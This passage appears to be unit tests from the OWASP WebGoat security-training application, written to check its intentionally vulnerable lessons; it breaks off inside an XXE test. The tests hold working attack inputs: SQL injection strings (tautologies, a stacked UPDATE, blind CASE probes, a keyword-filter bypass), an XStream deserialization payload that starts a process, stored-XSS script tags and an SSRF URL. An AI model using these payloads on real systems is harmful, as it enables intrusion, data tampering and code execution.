import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.lessons.sql_injection.SqlLessonTest;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.CoreMatchers.is;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
/**
* @author Benedikt Stuhrmann
* @since 11/07/18.
*/
public class SqlInjectionLesson9Test extends SqlLessonTest {
private String completedError = "JSON path \"lessonCompleted\"";
@Test
public void oneAccount() throws Exception {
try {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack9")
.param("name", "Smith")
.param("auth_tan", "3SL99A"))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.9.one"))))
.andExpect(jsonPath("$.output", containsString("<table><tr><th>")));
} catch (AssertionError e) {
if (!e.getMessage().contains(completedError)) throw e;
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack9")
.param("name", "Smith")
.param("auth_tan", "3SL99A"))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(true)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.9.success"))))
.andExpect(jsonPath("$.output", containsString("<table><tr><th>")));
}
}
@Test
public void multipleAccounts() throws Exception {
try {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack9")
.param("name", "Smith")
.param("auth_tan", "3SL99A' OR '1' = '1"))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.9.one"))))
.andExpect(jsonPath("$.output", containsString("<tr><td>96134<\\/td><td>Bob<\\/td><td>Franco<\\/td><td>Marketing<\\/td><td>83700<\\/td><td>LO9S2V<\\/td><\\/tr>")));
} catch (AssertionError e) {
if (!e.getMessage().contains(completedError)) throw e;
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack9")
.param("name", "Smith")
.param("auth_tan", "3SL99A' OR '1' = '1"))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(true)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.9.success"))))
.andExpect(jsonPath("$.output", containsString("<tr><td>96134<\\/td><td>Bob<\\/td><td>Franco<\\/td><td>Marketing<\\/td><td>83700<\\/td><td>LO9S2V<\\/td><\\/tr>")));
}
}
@Test
public void wrongNameReturnsNoAccounts() throws Exception {
try {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack9")
.param("name", "Smithh")
.param("auth_tan", "3SL99A"))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.8.no.results"))))
.andExpect(jsonPath("$.output").doesNotExist());
} catch (AssertionError e) {
if (!e.getMessage().contains(completedError)) throw e;
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack9")
.param("name", "Smithh")
.param("auth_tan", "3SL99A"))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(true)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.8.no.success"))))
.andExpect(jsonPath("$.output").doesNotExist());
}
}
@Test
public void wrongTANReturnsNoAccounts() throws Exception {
try {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack9")
.param("name", "Smithh")
.param("auth_tan", ""))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.8.no.results"))))
.andExpect(jsonPath("$.output").doesNotExist());
} catch (AssertionError e) {
if (!e.getMessage().contains(completedError)) throw e;
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack9")
.param("name", "Smithh")
.param("auth_tan", ""))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(true)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.9.success"))))
.andExpect(jsonPath("$.output").doesNotExist());
}
}
@Test
public void malformedQueryReturnsError() throws Exception {
try {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack9")
.param("name", "Smith")
.param("auth_tan", "3SL99A' OR '1' = '1'"))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)))
.andExpect(jsonPath("$.output", containsString("feedback-negative")));
} catch (AssertionError e) {
if (!e.getMessage().contains(completedError)) throw e;
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack9")
.param("name", "Smith")
.param("auth_tan", "3SL99A' OR '1' = '1'"))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(true)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.9.success"))))
.andExpect(jsonPath("$.output", containsString("feedback-negative")));
}
}
@Test
public void SmithIsMostEarningCompletesAssignment() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack9")
.param("name", "Smith")
.param("auth_tan", "3SL99A'; UPDATE employees SET salary = '300000' WHERE last_name = 'Smith"))
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(true)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.9.success"))))
.andExpect(jsonPath("$.output", containsString("300000")));
}
}

View File

@ -0,0 +1,102 @@
package org.owasp.webgoat.lessons.sql_injection.mitigation;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.lessons.sql_injection.SqlLessonTest;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import static org.hamcrest.Matchers.is;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
/**
* @author nbaars
* @since 5/21/17.
*/
public class SqlInjectionLesson13Test extends SqlLessonTest {
@Test
public void knownAccountShouldDisplayData() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjectionMitigations/servers")
.param("column", "id"))
.andExpect(status().isOk());
}
@Test
public void addressCorrectShouldOrderByHostname() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjectionMitigations/servers")
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '104.%' THEN hostname ELSE id END"))
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
}
@Test
public void addressCorrectShouldOrderByHostnameUsingSubstr() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjectionMitigations/servers")
.param("column", "case when (select ip from servers where hostname='webgoat-prd' and substr(ip,1,1) = '1') IS NOT NULL then hostname else id end"))
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjectionMitigations/servers")
.param("column", "case when (select ip from servers where hostname='webgoat-prd' and substr(ip,2,1) = '0') IS NOT NULL then hostname else id end"))
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjectionMitigations/servers")
.param("column", "case when (select ip from servers where hostname='webgoat-prd' and substr(ip,3,1) = '4') IS NOT NULL then hostname else id end"))
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
}
@Test
public void addressIncorrectShouldOrderByIdUsingSubstr() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjectionMitigations/servers")
.param("column", "case when (select ip from servers where hostname='webgoat-prd' and substr(ip,1,1) = '9') IS NOT NULL then hostname else id end"))
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-dev")));
}
@Test
public void trueShouldSortByHostname() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjectionMitigations/servers")
.param("column", "(case when (true) then hostname else id end)"))
.andExpect(status().isOk())
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
}
@Test
public void falseShouldSortById() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjectionMitigations/servers")
.param("column", "(case when (true) then hostname else id end)"))
.andExpect(status().isOk())
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
}
@Test
public void addressIncorrectShouldOrderByHostname() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjectionMitigations/servers")
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '192.%' THEN hostname ELSE id END"))
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-dev")));
}
@Test
public void postingCorrectAnswerShouldPassTheLesson() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjectionMitigations/attack12a")
.param("ip", "104.130.219.202"))
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
}
@Test
public void postingWrongAnswerShouldNotPassTheLesson() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjectionMitigations/attack12a")
.param("ip", "192.168.219.202"))
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
}
}

View File

@ -0,0 +1,33 @@
package org.owasp.webgoat.lessons.sql_injection.mitigation;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.lessons.sql_injection.SqlLessonTest;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import static org.hamcrest.Matchers.containsString;
import static org.hamcrest.Matchers.is;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
public class SqlOnlyInputValidationOnKeywordsTest extends SqlLessonTest {
@Test
public void solve() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlOnlyInputValidationOnKeywords/attack")
.param("userid_sql_only_input_validation_on_keywords", "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(true)))
.andExpect(jsonPath("$.feedback", containsString("passW0rD")));
}
@Test
public void containsForbiddenSqlKeyword() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlOnlyInputValidationOnKeywords/attack")
.param("userid_sql_only_input_validation_on_keywords", "Smith';SELECT/**/*/**/from/**/user_system_data;--"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(false)))
.andExpect(jsonPath("$.output", containsString("unexpected token: *<br> Your query was: SELECT * FROM user_data WHERE last_name = 'SMITH';\\\\\\/**\\\\\\/*\\\\\\/**\\\\\\/\\\\\\/**\\\\\\/USER_SYSTEM_DATA;--'")));
}
}

View File

@ -0,0 +1,33 @@
package org.owasp.webgoat.lessons.sql_injection.mitigation;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.lessons.sql_injection.SqlLessonTest;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import static org.hamcrest.Matchers.containsString;
import static org.hamcrest.Matchers.is;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
public class SqlOnlyInputValidationTest extends SqlLessonTest {
@Test
public void solve() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlOnlyInputValidation/attack")
.param("userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(true)))
.andExpect(jsonPath("$.feedback", containsString("passW0rD")));
}
@Test
public void containsSpace() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlOnlyInputValidation/attack")
.param("userid_sql_only_input_validation", "Smith' ;SELECT from user_system_data;--"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", containsString("Using spaces is not allowed!")));
}
}

View File

@ -0,0 +1,51 @@
package org.owasp.webgoat.lessons.ssrf;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.owasp.webgoat.lessons.ssrf.SSRF;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.hamcrest.Matchers.is;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
/**
* @author afry
* @since 12/28/18.
*/
@ExtendWith(SpringExtension.class)
public class SSRFTest1 extends LessonTest {
@BeforeEach
public void setup() {
when(webSession.getCurrentLesson()).thenReturn(new SSRF());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
public void modifyUrlTom() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SSRF/task1")
.param("url", "images/tom.png"))
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
}
@Test
public void modifyUrlJerry() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SSRF/task1")
.param("url", "images/jerry.png"))
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
}
@Test
public void modifyUrlCat() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SSRF/task1")
.param("url", "images/cat.jpg"))
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
}
}

View File

@ -0,0 +1,66 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.ssrf;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.owasp.webgoat.lessons.ssrf.SSRF;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.hamcrest.Matchers.is;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
/**
* @author afry
* @since 12/28/18.
*/
@ExtendWith(SpringExtension.class)
public class SSRFTest2 extends LessonTest {
@BeforeEach
public void setup() {
when(webSession.getCurrentLesson()).thenReturn(new SSRF());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
public void modifyUrlIfconfigPro() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SSRF/task2")
.param("url", "http://ifconfig.pro"))
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
}
@Test
public void modifyUrlCat() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SSRF/task2")
.param("url", "images/cat.jpg"))
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
}
}

View File

@ -0,0 +1,81 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.vulnerable_components;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.StreamException;
import org.junit.jupiter.api.Disabled;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.vulnerable_components.Contact;
import org.owasp.webgoat.lessons.vulnerable_components.ContactImpl;
import static org.junit.jupiter.api.Assertions.assertNotNull;
import static org.junit.jupiter.api.Assertions.assertThrows;
import static org.junit.jupiter.api.Assertions.assertTrue;
public class VulnerableComponentsLessonTest {
String strangeContact = "<contact class='dynamic-proxy'>\n" +
"<interface>org.owasp.webgoat.vulnerable_components.Contact</interface>\n" +
" <handler class='java.beans.EventHandler'>\n" +
" <target class='java.lang.ProcessBuilder'>\n" +
" <command>\n" +
" <string>calc.exe</string>\n" +
" </command>\n" +
" </target>\n" +
" <action>start</action>\n" +
" </handler>\n" +
"</contact>";
String contact = "<contact>\n"+
"</contact>";
@Test
public void testTransformation() throws Exception {
XStream xstream = new XStream();
xstream.setClassLoader(Contact.class.getClassLoader());
xstream.alias("contact", ContactImpl.class);
xstream.ignoreUnknownElements();
assertNotNull(xstream.fromXML(contact));
}
@Test
@Disabled
public void testIllegalTransformation() throws Exception {
XStream xstream = new XStream();
xstream.setClassLoader(Contact.class.getClassLoader());
xstream.alias("contact", ContactImpl.class);
xstream.ignoreUnknownElements();
Exception e = assertThrows(RuntimeException.class, ()->((Contact)xstream.fromXML(strangeContact)).getFirstName());
assertTrue(e.getCause().getMessage().contains("calc.exe"));
}
@Test
public void testIllegalPayload() throws Exception {
XStream xstream = new XStream();
xstream.setClassLoader(Contact.class.getClassLoader());
xstream.alias("contact", ContactImpl.class);
xstream.ignoreUnknownElements();
Exception e = assertThrows(StreamException.class, ()->((Contact)xstream.fromXML("bullssjfs")).getFirstName());
assertTrue(e.getCause().getMessage().contains("START_DOCUMENT"));
}
}

View File

@ -0,0 +1,76 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2021 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source
* ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.xss;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.junit.jupiter.MockitoExtension;
import org.owasp.webgoat.container.assignments.AssignmentEndpointTest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
/**
*
* @author Angel Olle Blazquez
*
*/
@ExtendWith(MockitoExtension.class)
class CrossSiteScriptingLesson1Test extends AssignmentEndpointTest {
private static final String CONTEXT_PATH = "/CrossSiteScripting/attack1";
@Autowired
private MockMvc mockMvc;
@BeforeEach
public void setup() {
CrossSiteScriptingLesson1 crossSiteScriptingLesson1 = new CrossSiteScriptingLesson1();
init(crossSiteScriptingLesson1);
mockMvc = standaloneSetup(crossSiteScriptingLesson1).build();
}
@Test
void success() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post(CONTEXT_PATH)
.param("checkboxAttack1", "value"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
}
@Test
void failure() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post(CONTEXT_PATH))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
}

View File

@ -0,0 +1,77 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.xss;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.junit.jupiter.MockitoExtension;
import org.owasp.webgoat.container.assignments.AssignmentEndpointTest;
import org.owasp.webgoat.lessons.xss.CrossSiteScripting;
import org.owasp.webgoat.lessons.xss.DOMCrossSiteScripting;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import static org.mockito.Mockito.lenient;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
@ExtendWith(MockitoExtension.class)
public class DOMCrossSiteScriptingTest extends AssignmentEndpointTest {
private MockMvc mockMvc;
private String randVal = "12034837";
@BeforeEach
public void setup() {
DOMCrossSiteScripting domXss = new DOMCrossSiteScripting();
init(domXss);
this.mockMvc = standaloneSetup(domXss).build();
CrossSiteScripting xss = new CrossSiteScripting();
lenient().when(userSessionData.getValue("randValue")).thenReturn(randVal);
}
@Test
public void success() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/CrossSiteScripting/phone-home-xss")
.header("webgoat-requested-by", "dom-xss-vuln")
.param("param1", "42")
.param("param2", "24"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.output", CoreMatchers.containsString("phoneHome Response is " + randVal)))
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
}
@Test
public void failure() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/CrossSiteScripting/phone-home-xss")
.header("webgoat-requested-by", "wrong-value")
.param("param1", "22")
.param("param2", "20"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
}
}

View File

@ -0,0 +1,96 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.xss;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.junit.jupiter.MockitoExtension;
import org.owasp.webgoat.container.assignments.AssignmentEndpointTest;
import org.owasp.webgoat.lessons.xss.stored.StoredXssComments;
import org.springframework.http.MediaType;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.MvcResult;
import org.springframework.test.web.servlet.ResultActions;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
@ExtendWith(MockitoExtension.class)
public class StoredXssCommentsTest extends AssignmentEndpointTest {
private MockMvc mockMvc;
@BeforeEach
public void setup() {
StoredXssComments storedXssComments = new StoredXssComments();
init(storedXssComments);
this.mockMvc = standaloneSetup(storedXssComments).build();
}
@Test
public void success() throws Exception {
ResultActions results = mockMvc.perform(MockMvcRequestBuilders.post("/CrossSiteScriptingStored/stored-xss")
.content("{\"text\":\"someTextHere<script>webgoat.customjs.phoneHome()</script>MoreTextHere\"}")
.contentType(MediaType.APPLICATION_JSON));
results.andExpect(status().isOk());
results.andExpect(jsonPath("$.lessonCompleted",CoreMatchers.is(true)));
}
@Test
public void failure() throws Exception {
ResultActions results = mockMvc.perform(MockMvcRequestBuilders.post("/CrossSiteScriptingStored/stored-xss")
.content("{\"text\":\"someTextHere<script>alert('Xss')</script>MoreTextHere\"}")
.contentType(MediaType.APPLICATION_JSON));
results.andExpect(status().isOk());
results.andExpect(jsonPath("$.lessonCompleted",CoreMatchers.is(false)));
}
/* For the next two tests there is a comment seeded ...
comments.add(new Comment("secUriTy", DateTime.now().toString(fmt), "<script>console.warn('unit test me')</script>Comment for Unit Testing"));
... the isEncoded method will remain commented out as it will fail (because WebGoat isn't supposed to be secure)
*/
//Ensures it is vulnerable
@Test
public void isNotEncoded() throws Exception {
//do get to get comments after posting xss payload
ResultActions taintedResults = mockMvc.perform(MockMvcRequestBuilders.get("/CrossSiteScriptingStored/stored-xss"));
MvcResult mvcResult = taintedResults.andReturn();
assert(mvcResult.getResponse().getContentAsString().contains("<script>console.warn"));
}
//Could be used to test an encoding solution ... commented out so build will pass. Uncommenting will fail build, but leaving in as positive Security Unit Test
// @Test
// public void isEncoded() throws Exception {
// //do get to get comments after posting xss payload
// ResultActions taintedResults = mockMvc.perform(MockMvcRequestBuilders.get("/CrossSiteScripting/stored-xss"));
// taintedResults.andExpect(jsonPath("$[0].text",CoreMatchers.is(CoreMatchers.containsString("&lt;scriptgt;"))));
// }
}

View File

@ -0,0 +1,154 @@
package org.owasp.webgoat.lessons.xxe;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.github.tomakehurst.wiremock.WireMockServer;
import com.github.tomakehurst.wiremock.client.WireMock;
import com.github.tomakehurst.wiremock.verification.LoggedRequest;
import org.hamcrest.CoreMatchers;
import org.hamcrest.Matchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.springframework.http.MediaType;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import java.io.File;
import java.util.List;
import static com.github.tomakehurst.wiremock.client.WireMock.aResponse;
import static com.github.tomakehurst.wiremock.client.WireMock.getRequestedFor;
import static com.github.tomakehurst.wiremock.client.WireMock.urlMatching;
import static com.github.tomakehurst.wiremock.core.WireMockConfiguration.options;
import static org.assertj.core.api.Assertions.assertThat;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
class BlindSendFileAssignmentTest extends LessonTest {
private int port;
private WireMockServer webwolfServer;
@BeforeEach
public void setup() {
this.webwolfServer = new WireMockServer(options().dynamicPort());
webwolfServer.start();
this.port = webwolfServer.port();
when(webSession.getCurrentLesson()).thenReturn(new XXE());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
private int countComments() throws Exception {
var response = mockMvc.perform(get("/xxe/comments").contentType(MediaType.APPLICATION_JSON))
.andExpect(status().isOk())
.andReturn();
return new ObjectMapper().reader().readTree(response.getResponse().getContentAsString()).size();
}
private void containsComment(String expected) throws Exception {
mockMvc.perform(get("/xxe/comments").contentType(MediaType.APPLICATION_JSON))
.andExpect(status().isOk())
.andExpect(jsonPath("$.[*].text").value(Matchers.hasItem(expected)));
}
@Test
public void validCommentMustBeAdded() throws Exception {
